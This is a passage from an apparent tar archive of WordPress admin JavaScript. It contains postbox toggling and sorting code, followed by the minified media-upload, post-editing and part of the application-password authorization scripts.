moveDownButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons. if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) { moveUpButtons.addClass( 'hidden' ); moveDownButtons.addClass( 'hidden' ); } // Set an aria-disabled=true attribute on the first visible "move" buttons. if ( firstSortablesId === firstPostboxSortablesId ) { $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' ); } // Set an aria-disabled=true attribute on the last visible "move" buttons. if ( lastSortablesId === lastPostboxSortablesId ) { $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' ); } }, /** * Adds event handlers to all postboxes and screen option on the current page. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args] * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox closes. * @return {void} */ add_postbox_toggles : function (page, args) { var $handles = $( '.postbox .hndle, .postbox .handlediv' ), $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' ); this.page = page; this.init( page, args ); $handles.on( 'click.postboxes', this.handle_click ); // Handle the order of the postboxes. $orderButtons.on( 'click.postboxes', this.handleOrder ); /** * @since 2.7.0 */ $('.postbox .hndle a').on( 'click', function(e) { e.stopPropagation(); }); /** * Hides a postbox. * * Event handler for the postbox dismiss button. After clicking the button * the postbox will be hidden. * * As of WordPress 5.5, this is only used for the browser update nag. * * @since 3.2.0 * * @return {void} */ $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) { var hide_id = $(this).parents('.postbox').attr('id') + '-hide'; e.preventDefault(); $( '#' + hide_id ).prop('checked', false).triggerHandler('click'); }); /** * Hides the postbox element * * Event handler for the screen options checkboxes. When a checkbox is * clicked this function will hide or show the relevant postboxes. * * @since 2.7.0 * @ignore * * @fires postboxes#postbox-toggled * * @return {void} */ $('.hide-postbox-tog').on('click.postboxes', function() { var $el = $(this), boxId = $el.val(), $postbox = $( '#' + boxId ); if ( $el.prop( 'checked' ) ) { $postbox.show(); if ( typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( boxId ); } } else { $postbox.hide(); if ( typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( boxId ); } } postboxes.save_state( page ); postboxes._mark_area(); /** * @since 4.0.0 * @see postboxes.handle_click */ $document.trigger( 'postbox-toggled', $postbox ); }); /** * Changes the amount of columns based on the layout preferences. * * @since 2.8.0 * * @return {void} */ $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){ var n = parseInt($(this).val(), 10); if ( n ) { postboxes._pb_edit(n); postboxes.save_order( page ); } }); }, /** * Initializes all the postboxes, mainly their sortable behavior. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args={}] The arguments for the postbox initializer. * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox * closes. * * @return {void} */ init : function(page, args) { var isMobile = $( document.body ).hasClass( 'mobile' ), $handleButtons = $( '.postbox .handlediv' ); $.extend( this, args || {} ); $('.meta-box-sortables').sortable({ placeholder: 'sortable-placeholder', connectWith: '.meta-box-sortables', items: '.postbox', handle: '.hndle', cursor: 'move', delay: ( isMobile ? 200 : 0 ), distance: 2, tolerance: 'pointer', forcePlaceholderSize: true, helper: function( event, element ) { /* `helper: 'clone'` is equivalent to `return element.clone();` * Cloning a checked radio and then inserting that clone next to the original * radio unchecks the original radio (since only one of the two can be checked). * We get around this by renaming the helper's inputs' name attributes so that, * when the helper is inserted into the DOM for the sortable, no radios are * duplicated, and no original radio gets unchecked. */ return element.clone() .find( ':input' ) .attr( 'name', function( i, currentName ) { return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName; } ) .end(); }, opacity: 0.65, start: function() { $( 'body' ).addClass( 'is-dragging-metaboxes' ); // Refresh the cached positions of all the sortable items so that the min-height set while dragging works. $( '.meta-box-sortables' ).sortable( 'refreshPositions' ); }, stop: function() { var $el = $( this ); $( 'body' ).removeClass( 'is-dragging-metaboxes' ); if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) { $el.sortable('cancel'); return; } postboxes.updateOrderButtonsProperties(); postboxes.save_order(page); }, receive: function(e,ui) { if ( 'dashboard_browser_nag' == ui.item[0].id ) $(ui.sender).sortable('cancel'); postboxes._mark_area(); $document.trigger( 'postbox-moved', ui.item ); } }); if ( isMobile ) { $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); }); this._pb_change(); } this._mark_area(); // Update the "move" buttons properties. this.updateOrderButtonsProperties(); $document.on( 'postbox-toggled', this.updateOrderButtonsProperties ); // Set the handle buttons `aria-expanded` attribute initial value on page load. $handleButtons.each( function () { var $el = $( this ); $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) ); }); }, /** * Saves the state of the postboxes to the server. * * It sends two lists, one with all the closed postboxes, one with all the * hidden postboxes. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_state : function(page) { var closed, hidden; // Return on the nav-menus.php screen, see #35112. if ( 'nav-menus' === page ) { return; } closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' ); hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' ); $.post( ajaxurl, { action: 'closed-postboxes', closed: closed, hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: page }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Saves the order of the postboxes to the server. * * Sends a list of all postboxes inside a sortable area to the server. * * @since 2.8.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_order : function(page) { var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; postVars = { action: 'meta-box-order', _ajax_nonce: $('#meta-box-order-nonce').val(), page_columns: page_columns, page: page }; $('.meta-box-sortables').each( function() { postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' ); } ); $.post( ajaxurl, postVars, function( response ) { if ( response.success ) { wp.a11y.speak( __( 'The boxes order has been saved.' ) ); } } ); }, /** * Marks empty postbox areas. * * Adds a message to empty sortable areas on the dashboard page. Also adds a * border around the side area on the post edit screen if there are no postboxes * present. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _mark_area : function() { var visible = $( 'div.postbox:visible' ).length, visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ), areAllVisibleSortablesEmpty = true; visibleSortables.each( function() { var t = $(this); if ( visible == 1 || t.children( '.postbox:visible' ).length ) { t.removeClass('empty-container'); areAllVisibleSortablesEmpty = false; } else { t.addClass('empty-container'); } }); postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty ); }, /** * Updates the text for the empty sortable areas on the Dashboard. * * @since 5.5.0 * * @param {Object} visibleSortables The jQuery object representing the visible sortable areas. * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty". * * @return {void} */ updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) { var isDashboard = $( '#dashboard-widgets' ).length, emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' ); if ( ! isDashboard ) { return; } visibleSortables.each( function() { if ( $( this ).hasClass( 'empty-container' ) ) { $( this ).attr( 'data-emptyString', emptySortableText ); } } ); }, /** * Changes the amount of columns on the post edit page. * * @since 3.3.0 * @access private * * @memberof postboxes * * @fires postboxes#postboxes-columnchange * * @param {number} n The amount of columns to divide the post edit page in. * @return {void} */ _pb_edit : function(n) { var el = $('.metabox-holder').get(0); if ( el ) { el.className = el.className.replace(/columns-\d+/, 'columns-' + n); } /** * Fires when the amount of columns on the post edit page has been changed. * * @since 4.0.0 * @ignore * * @event postboxes#postboxes-columnchange */ $( document ).trigger( 'postboxes-columnchange' ); }, /** * Changes the amount of columns the postboxes are in based on the current * orientation of the browser. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _pb_change : function() { var check = $( 'label.columns-prefs-1 input[type="radio"]' ); switch ( window.orientation ) { case 90: case -90: if ( !check.length || !check.is(':checked') ) this._pb_edit(2); break; case 0: case 180: if ( $( '#poststuff' ).length ) { this._pb_edit(1); } else { if ( !check.length || !check.is(':checked') ) this._pb_edit(2); } break; } }, /* Callbacks */ /** * @since 2.7.0 * @access public * * @property {Function|boolean} pbshow A callback that is called when a postbox * is opened. * @memberof postboxes */ pbshow : false, /** * @since 2.7.0 * @access public * @property {Function|boolean} pbhide A callback that is called when a postbox * is closed. * @memberof postboxes */ pbhide : false }; }(jQuery)); media-upload.min.js 0000644 00000002200 15222552267 0010227 0 ustar 00 /*! This file is auto-generated */ window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&t.css({top:20+o+"px","margin-top":"0"}),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),d(this).attr("href",t+"&width="+(n-80)+"&height="+(i-85-o)))})},d(window).on("resize",function(){tb_position()})}(jQuery); post.min.js 0000644 00000045717 15222552267 0006677 0 ustar 00 /*! This file is auto-generated */ window.makeSlugeditClickable=window.editPermalink=function(){},window.wp=window.wp||{},function(s){var t=!1,a=wp.i18n.__;window.commentsBox={st:0,get:function(t,e){var i=this.st;return this.st+=e=e||20,this.total=t,s("#commentsdiv .spinner").addClass("is-active"),t={action:"get-comments",mode:"single",_ajax_nonce:s("#add_comment_nonce").val(),p:s("#post_ID").val(),start:i,number:e},s.post(ajaxurl,t,function(t){t=wpAjax.parseAjaxResponse(t),s("#commentsdiv .widefat").show(),s("#commentsdiv .spinner").removeClass("is-active"),"object"==typeof t&&t.responses[0]?(s("#the-comment-list").append(t.responses[0].data),theList=theExtraList=null,s("a[className*=':']").off(),commentsBox.st>commentsBox.total?s("#show-comments").hide():s("#show-comments").show().children("a").text(a("Show more comments"))):1==t?s("#show-comments").text(a("No more comments found.")):s("#the-comment-list").append('<tr><td colspan="2">'+wpAjax.broken+"</td></tr>")}),!1},load:function(t){this.st=jQuery("#the-comment-list tr.comment:visible").length,this.get(t)}},window.WPSetThumbnailHTML=function(t){s(".inside","#postimagediv").html(t)},window.WPSetThumbnailID=function(t){var e=s('input[value="_thumbnail_id"]',"#list-table");0<e.length&&s("#meta\\["+e.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(t)},window.WPRemoveThumbnail=function(t){s.post(ajaxurl,{action:"set-post-thumbnail",post_id:s("#post_ID").val(),thumbnail_id:-1,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){"0"==t?alert(a("Could not set that as the thumbnail image. Try a different attachment.")):WPSetThumbnailHTML(t)})},s(document).on("heartbeat-send.refresh-lock",function(t,e){var i=s("#active_post_lock").val(),a=s("#post_ID").val(),n={};a&&s("#post-lock-dialog").length&&(n.post_id=a,i&&(n.lock=i),e["wp-refresh-post-lock"]=n)}).on("heartbeat-tick.refresh-lock",function(t,e){var i,a;e["wp-refresh-post-lock"]&&((e=e["wp-refresh-post-lock"]).lock_error?(i=s("#post-lock-dialog")).length&&!i.is(":visible")&&(wp.autosave&&(s(document).one("heartbeat-tick",function(){wp.autosave.server.suspend(),i.removeClass("saving").addClass("saved"),s(window).off("beforeunload.edit-post")}),i.addClass("saving"),wp.autosave.server.triggerSave()),e.lock_error.avatar_src&&(a=s("<img />",{class:"avatar avatar-64 photo",width:64,height:64,alt:"",src:e.lock_error.avatar_src,srcset:e.lock_error.avatar_src_2x?e.lock_error.avatar_src_2x+" 2x":void 0}),i.find("div.post-locked-avatar").empty().append(a)),i.show().find(".currently-editing").text(e.lock_error.text),i.find(".wp-tab-first").trigger("focus")):e.new_lock&&s("#active_post_lock").val(e.new_lock))}).on("before-autosave.update-post-slug",function(){t=document.activeElement&&"title"===document.activeElement.id}).on("after-autosave.update-post-slug",function(){s("#edit-slug-box > *").length||t||s.post(ajaxurl,{action:"sample-permalink",post_id:s("#post_ID").val(),new_title:s("#title").val(),samplepermalinknonce:s("#samplepermalinknonce").val()},function(t){"-1"!=t&&s("#edit-slug-box").html(t)})})}(jQuery),function(a){var n,t;function i(){n=!1,window.clearTimeout(t),t=window.setTimeout(function(){n=!0},3e5)}a(function(){i()}).on("heartbeat-send.wp-refresh-nonces",function(t,e){var i=a("#wp-auth-check-wrap");(n||i.length&&!i.hasClass("hidden"))&&(i=a("#post_ID").val())&&a("#_wpnonce").val()&&(e["wp-refresh-post-nonces"]={post_id:i})}).on("heartbeat-tick.wp-refresh-nonces",function(t,e){e=e["wp-refresh-post-nonces"];e&&(i(),e.replace&&a.each(e.replace,function(t,e){a("#"+t).val(e)}),e.heartbeatNonce)&&(window.heartbeatSettings.nonce=e.heartbeatNonce)})}(jQuery),jQuery(function(h){var d,e,i,a,n,s,o,l,r,t,c,p,u=h("#content"),v=h(document),f=h("#post_ID").val()||0,m=h("#submitpost"),w=!0,g=h("#post-visibility-select"),b=h("#timestampdiv"),k=h("#post-status-select"),y=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),_=new ClipboardJS(".copy-attachment-url.edit-media"),x=wp.i18n.__,C=wp.i18n._x;function D(t){c.hasClass("wp-editor-expand")||(r?o.theme.resizeTo(null,l+t.pageY):u.height(Math.max(50,l+t.pageY)),t.preventDefault())}function j(){var t;c.hasClass("wp-editor-expand")||(t=r?(o.focus(),((t=parseInt(h("#wp-content-editor-container .mce-toolbar-grp").height(),10))<10||200<t)&&(t=30),parseInt(h("#content_ifr").css("height"),10)+t-28):(u.trigger("focus"),parseInt(u.css("height"),10)),v.off(".wp-editor-resize"),t&&50<t&&t<5e3&&setUserSetting("ed_size",t))}postboxes.add_postbox_toggles(pagenow),window.name="",h("#post-lock-dialog .notification-dialog").on("keydown",function(t){var e;9==t.which&&((e=h(t.target)).hasClass("wp-tab-first")&&t.shiftKey?(h(this).find(".wp-tab-last").trigger("focus"),t.preventDefault()):e.hasClass("wp-tab-last")&&!t.shiftKey&&(h(this).find(".wp-tab-first").trigger("focus"),t.preventDefault()))}).filter(":visible").find(".wp-tab-first").trigger("focus"),wp.heartbeat&&h("#post-lock-dialog").length&&wp.heartbeat.interval(10),i=m.find(":submit, a.submitdelete, #post-preview").on("click.edit-post",function(t){var e=h(this);e.hasClass("disabled")?t.preventDefault():e.hasClass("submitdelete")||e.is("#post-preview")||h("form#post").off("submit.edit-post").on("submit.edit-post",function(t){if(!t.isDefaultPrevented()){if(wp.autosave&&wp.autosave.server.suspend(),"undefined"!=typeof commentReply){if(!commentReply.discardCommentChanges())return!1;commentReply.close()}w=!1,h(window).off("beforeunload.edit-post"),i.addClass("disabled"),("publish"===e.attr("id")?m.find("#major-publishing-actions .spinner"):m.find("#minor-publishing .spinner")).addClass("is-active")}})}),h("#post-preview").on("click.post-preview",function(t){var e=h(this),i=h("form#post"),a=h("input#wp-preview"),n=e.attr("target")||"wp-preview",s=navigator.userAgent.toLowerCase();t.preventDefault(),e.hasClass("disabled")||(wp.autosave&&wp.autosave.server.tempBlockSave(),a.val("dopreview"),i.attr("target",n).trigger("submit").attr("target",""),-1!==s.indexOf("safari")&&-1===s.indexOf("chrome")&&i.attr("action",function(t,e){return e+"?t="+(new Date).getTime()}),a.val(""))}),h("#auto_draft").val()&&h("#title").on("blur",function(){var t;this.value&&!h("#edit-slug-box > *").length&&(h("form#post").one("submit",function(){t=!0}),window.setTimeout(function(){!t&&wp.autosave&&wp.autosave.server.triggerSave()},200))}),v.on("autosave-disable-buttons.edit-post",function(){i.addClass("disabled")}).on("autosave-enable-buttons.edit-post",function(){wp.heartbeat&&wp.heartbeat.hasConnectionError()||i.removeClass("disabled")}).on("before-autosave.edit-post",function(){h(".autosave-message").text(x("Saving Draft\u2026"))}).on("after-autosave.edit-post",function(t,e){h(".autosave-message").text(e.message),h(document.body).hasClass("post-new-php")&&h(".submitbox .submitdelete").show()}),h(window).on("beforeunload.edit-post",function(t){var e=window.tinymce&&window.tinymce.get("content"),i=!1;if(wp.autosave?i=wp.autosave.server.postChanged():e&&(i=!e.isHidden()&&e.isDirty()),i)return t.preventDefault(),x("The changes you made will be lost if you navigate away from this page.")}).on("pagehide.edit-post",function(t){if(w&&(!t.target||"#document"==t.target.nodeName)){var t=h("#post_ID").val(),e=h("#active_post_lock").val();if(t&&e){t={action:"wp-remove-post-lock",_wpnonce:h("#_wpnonce").val(),post_ID:t,active_post_lock:e};if(window.FormData&&window.navigator.sendBeacon){var i=new window.FormData;if(h.each(t,function(t,e){i.append(t,e)}),window.navigator.sendBeacon(ajaxurl,i))return}h.post({async:!1,data:t,url:ajaxurl})}}}),h("#tagsdiv-post_tag").length?window.tagBox&&window.tagBox.init():h(".meta-box-sortables").children("div.postbox").each(function(){if(0===this.id.indexOf("tagsdiv-"))return window.tagBox&&window.tagBox.init(),!1}),h(".categorydiv").each(function(){var t,a,i,e=h(this).attr("id").split("-");e.shift(),a=e.join("-"),i="category"==a?"cats":a+"_tab",h("a","#"+a+"-tabs").on("click keyup keydown",function(t){var e=h(this).attr("href");"keydown"===t.type&&" "===t.key&&t.preventDefault(),("keyup"===t.type&&" "===t.key||"keydown"===t.type&&"Enter"===t.key||"click"===t.type)&&(t.preventDefault(),h("#"+a+"-tabs a").removeAttr("aria-selected").attr("tabindex","-1"),h(this).attr("aria-selected","true").removeAttr("tabindex"),h(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),h("#"+a+"-tabs").siblings(".tabs-panel").hide(),h(e).show(),"#"+a+"-all"==e?deleteUserSetting(i):setUserSetting(i,"pop")),"keyup"!==t.type||"ArrowRight"!==t.key&&"ArrowLeft"!==t.key||(h(this).attr("tabindex","-1"),e=h(this).parent("li").next(),t=h(this).parent("li").prev(),(0<e.length?(e.find("a").removeAttr("tabindex"),e):(t.find("a").removeAttr("tabindex"),t)).find("a").trigger("focus"))}),getUserSetting(i)&&h('a[href="#'+a+'-pop"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).one("focus",function(){h(this).val("").removeClass("form-input-tip")}),h("#new"+a).on("keypress",function(t){13===t.keyCode&&(t.preventDefault(),h("#"+a+"-add-submit").trigger("click"))}),h("#"+a+"-add-submit").on("click",function(){h("#new"+a).trigger("focus")}),e=function(t){return!!h("#new"+a).val()&&(t.data+="&"+h(":checked","#"+a+"checklist").serialize(),h("#"+a+"-add-submit").prop("disabled",!0),t)},t=function(t,e){var i=h("#new"+a+"_parent");h("#"+a+"-add-submit").prop("disabled",!1),"undefined"!=e.parsed.responses[0]&&(e=e.parsed.responses[0].supplemental.newcat_parent)&&(i.before(e),i.remove())},h("#"+a+"checklist").wpList({alt:"",response:a+"-ajax-response",addBefore:e,addAfter:t}),h("#"+a+"-add-toggle").on("click",function(t){t.preventDefault(),h("#"+a+"-adder").toggleClass("wp-hidden-children"),h('a[href="#'+a+'-all"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).trigger("focus")}),h("#"+a+"checklist, #"+a+"checklist-pop").on("click",'li.popular-category > label input[type="checkbox"]',function(){var t=h(this),e=t.is(":checked"),i=t.val();i&&t.parents("#taxonomy-"+a).length&&(h("input#in-"+a+"-"+i+', input[id^="in-'+a+"-"+i+'-"]').prop("checked",e),h("input#in-popular-"+a+"-"+i).prop("checked",e))})}),h("#postcustom").length&&h("#the-list").wpList({addBefore:function(t){return t.data+="&post_id="+h("#post_ID").val(),t},addAfter:function(){h("table#list-table").show()}}),h("#submitdiv").length&&(d=h("#timestamp").html(),e=h("#post-visibility-display").html(),a=function(){"public"!=g.find("input:radio:checked").val()?(h("#sticky").prop("checked",!1),h("#sticky-span").hide()):h("#sticky-span").show(),"password"!=g.find("input:radio:checked").val()?h("#password-span").hide():h("#password-span").show()},n=function(){if(b.length){var t,e=h("#post_status"),i=h('option[value="publish"]',e),a=h("#aa").val(),n=h("#mm").val(),s=h("#jj").val(),o=h("#hh").val(),l=h("#mn").val(),r=new Date(a,n-1,s,o,l),c=new Date(h("#hidden_aa").val(),h("#hidden_mm").val()-1,h("#hidden_jj").val(),h("#hidden_hh").val(),h("#hidden_mn").val()),p=new Date(h("#cur_aa").val(),h("#cur_mm").val()-1,h("#cur_jj").val(),h("#cur_hh").val(),h("#cur_mn").val());if(r.getFullYear()!=a||1+r.getMonth()!=n||r.getDate()!=s||r.getMinutes()!=l)return b.find(".timestamp-wrap").addClass("form-invalid"),!1;b.find(".timestamp-wrap").removeClass("form-invalid"),p<r?(t=x("Schedule for:"),h("#publish").val(C("Schedule","post action/button label"))):r<=p&&"publish"!=h("#original_post_status").val()?(t=x("Publish on:"),h("#publish").val(x("Publish"))):(t=x("Published on:"),h("#publish").val(x("Update"))),c.toUTCString()==r.toUTCString()?h("#timestamp").html(d):h("#timestamp").html("\n"+t+" <b>"+x("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",h('option[value="'+n+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(s,10)).replace("%3$s",a).replace("%4$s",("00"+o).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),"private"==g.find("input:radio:checked").val()?(h("#publish").val(x("Update")),0===i.length?e.append('<option value="publish">'+x("Privately Published")+"</option>"):i.html(x("Privately Published")),h('option[value="publish"]',e).prop("selected",!0),h("#misc-publishing-actions .edit-post-status").hide()):("future"==h("#original_post_status").val()||"draft"==h("#original_post_status").val()?i.length&&(i.remove(),e.val(h("#hidden_post_status").val())):i.html(x("Published")),e.is(":hidden")&&h("#misc-publishing-actions .edit-post-status").show()),h("#post-status-display").text(wp.sanitize.stripTagsAndEncodeText(h("option:selected",e).text())),"private"==h("option:selected",e).val()||"publish"==h("option:selected",e).val()?h("#save-post").hide():(h("#save-post").show(),"pending"==h("option:selected",e).val()?h("#save-post").show().val(x("Save as Pending")):h("#save-post").show().val(x("Save Draft")))}return!0},h("#visibility .edit-visibility").on("click",function(t){t.preventDefault(),g.is(":hidden")&&(a(),g.slideDown("fast",function(){g.find('input[type="radio"]').first().trigger("focus")}),h(this).hide())}),g.find(".cancel-post-visibility").on("click",function(t){g.slideUp("fast"),h("#visibility-radio-"+h("#hidden-post-visibility").val()).prop("checked",!0),h("#post_password").val(h("#hidden-post-password").val()),h("#sticky").prop("checked",h("#hidden-post-sticky").prop("checked")),h("#post-visibility-display").html(e),h("#visibility .edit-visibility").show().trigger("focus"),n(),t.preventDefault()}),g.find(".save-post-visibility").on("click",function(t){var e="",i=g.find("input:radio:checked").val();switch(g.slideUp("fast"),h("#visibility .edit-visibility").show().trigger("focus"),n(),"public"!==i&&h("#sticky").prop("checked",!1),i){case"public":e=h("#sticky").prop("checked")?x("Public, Sticky"):x("Public");break;case"private":e=x("Private");break;case"password":e=x("Password Protected")}h("#post-visibility-display").text(e),t.preventDefault()}),g.find("input:radio").on("change",function(){a()}),b.siblings("a.edit-timestamp").on("click",function(t){b.is(":hidden")&&(b.slideDown("fast",function(){h("input, select",b.find(".timestamp-wrap")).first().trigger("focus")}),h(this).hide()),t.preventDefault()}),b.find(".cancel-timestamp").on("click",function(t){b.slideUp("fast").siblings("a.edit-timestamp").show().trigger("focus"),h("#mm").val(h("#hidden_mm").val()),h("#jj").val(h("#hidden_jj").val()),h("#aa").val(h("#hidden_aa").val()),h("#hh").val(h("#hidden_hh").val()),h("#mn").val(h("#hidden_mn").val()),n(),t.preventDefault()}),b.find(".save-timestamp").on("click",function(t){n()&&(b.slideUp("fast"),b.siblings("a.edit-timestamp").show().trigger("focus")),t.preventDefault()}),h("#post").on("submit",function(t){n()||(t.preventDefault(),b.show(),wp.autosave&&wp.autosave.enableButtons(),h("#publishing-action .spinner").removeClass("is-active"))}),k.siblings("a.edit-post-status").on("click",function(t){k.is(":hidden")&&(k.slideDown("fast",function(){k.find("select").trigger("focus")}),h(this).hide()),t.preventDefault()}),k.find(".save-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),n(),t.preventDefault()}),k.find(".cancel-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),h("#post_status").val(h("#hidden_post_status").val()),n(),t.preventDefault()})),h("#titlediv").on("click",".edit-slug",function(){var t,e,a,i,n=0,s=h("#post_name"),o=s.val(),l=h("#sample-permalink"),r=l.html(),c=h("#sample-permalink a").html(),p=h("#edit-slug-buttons"),d=p.html(),u=h("#editable-post-name-full");for(u.find("img").replaceWith(function(){return this.alt}),u=u.html(),l.html(c),a=h("#editable-post-name"),i=a.html(),p.html('<button type="button" class="save button button-compact">'+x("OK")+'</button> <button type="button" class="cancel button-link">'+x("Cancel")+"</button>"),p.children(".save").on("click",function(){var i=a.children("input").val();i==h("#editable-post-name-full").text()?p.children(".cancel").trigger("click"):h.post(ajaxurl,{action:"sample-permalink",post_id:f,new_slug:i,new_title:h("#title").val(),samplepermalinknonce:h("#samplepermalinknonce").val()},function(t){var e=h("#edit-slug-box");e.html(t),e.hasClass("hidden")&&e.fadeIn("fast",function(){e.removeClass("hidden")}),p.html(d),l.html(r),s.val(i),h(".edit-slug").trigger("focus"),wp.a11y.speak(x("Permalink saved"))})}),p.children(".cancel").on("click",function(){h("#view-post-btn").show(),a.html(i),p.html(d),l.html(r),s.val(o),h(".edit-slug").trigger("focus")}),t=0;t<u.length;++t)"%"==u.charAt(t)&&n++;c=n>u.length/4?"":u,e=x("URL Slug"),a.html('<label for="new-post-slug" class="screen-reader-text">'+e+'</label><input type="text" id="new-post-slug" value="'+c+'" autocomplete="off" spellcheck="false" />').children("input").on("keydown",function(t){var e=t.which;13===e&&(t.preventDefault(),p.children(".save").trigger("click")),27===e&&p.children(".cancel").trigger("click")}).on("keyup",function(){s.val(this.value)}).trigger("focus")}),window.wptitlehint=function(t){var e=h("#"+(t=t||"title")),i=h("#"+t+"-prompt-text");""===e.val()&&i.removeClass("screen-reader-text"),e.on("input",function(){""===this.value?i.removeClass("screen-reader-text"):i.addClass("screen-reader-text")})},wptitlehint(),t=h("#post-status-info"),c=h("#postdivrich"),!u.length||"ontouchstart"in window?h("#content-resize-handle").hide():t.on("mousedown.wp-editor-resize",function(t){(o="undefined"!=typeof tinymce?tinymce.get("content"):o)&&!o.isHidden()?(r=!0,l=h("#content_ifr").height()-t.pageY):(r=!1,l=u.height()-t.pageY,u.trigger("blur")),v.on("mousemove.wp-editor-resize",D).on("mouseup.wp-editor-resize mouseleave.wp-editor-resize",j),t.preventDefault()}).on("mouseup.wp-editor-resize",j),"undefined"!=typeof tinymce&&(h("#post-formats-select input.post-format").on("change.set-editor-class",function(){var t,e,i=this.id;i&&h(this).prop("checked")&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpost-format-[^ ]+/,""),t.dom.addClass(e,"post-format-0"==i?"post-format-standard":i),h(document).trigger("editor-classchange"))}),h("#page_template").on("change.set-editor-class",function(){var t,e,i=h(this).val()||"";(i=i.substr(i.lastIndexOf("/")+1,i.length).replace(/\.php$/,"").replace(/\./g,"-"))&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpage-template-[^ ]+/,""),t.dom.addClass(e,"page-template-"+i),h(document).trigger("editor-classchange"))})),u.on("keydown.wp-autosave",function(t){83!==t.which||t.shiftKey||t.altKey||y&&(!t.metaKey||t.ctrlKey)||!y&&!t.ctrlKey||(wp.autosave&&wp.autosave.server.triggerSave(),t.preventDefault())}),"auto-draft"===h("#original_post_status").val()&&window.history.replaceState&&h("#publish").on("click",function(){p=(p=window.location.href)+(-1!==p.indexOf("?")?"&":"?")+"wp-post-new-reload=true",window.history.replaceState(null,null,p)}),_.on("success",function(t){var e=h(t.trigger),i=h(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(x("The file URL has been copied to your clipboard"))})}),function(t,o){t(function(){var i,e=t("#content"),a=t("#wp-word-count").find(".word-count"),n=0;function s(){var t=!i||i.isHidden()?e.val():i.getContent({format:"raw"}),t=o.count(t);t!==n&&a.text(t),n=t}t(document).on("tinymce-editor-init",function(t,e){"content"===e.id&&(i=e).on("nodechange keyup",_.debounce(s,1e3))}),e.on("input keyup",_.debounce(s,1e3)),s()})}(jQuery,new wp.utils.WordCounter); auth-app.min.js 0000644 00000004044 15222552267 0007415 0 ustar 00 /*! This file is auto-generated */ !function(t,s){var p=t("#app_name"),r=t("#approve"),e=t("#reject"),n=p.closest("form"),i={userLogin:s.user_login,successUrl:s.success,rejectUrl:s.reject};r.on("click",function(e){var 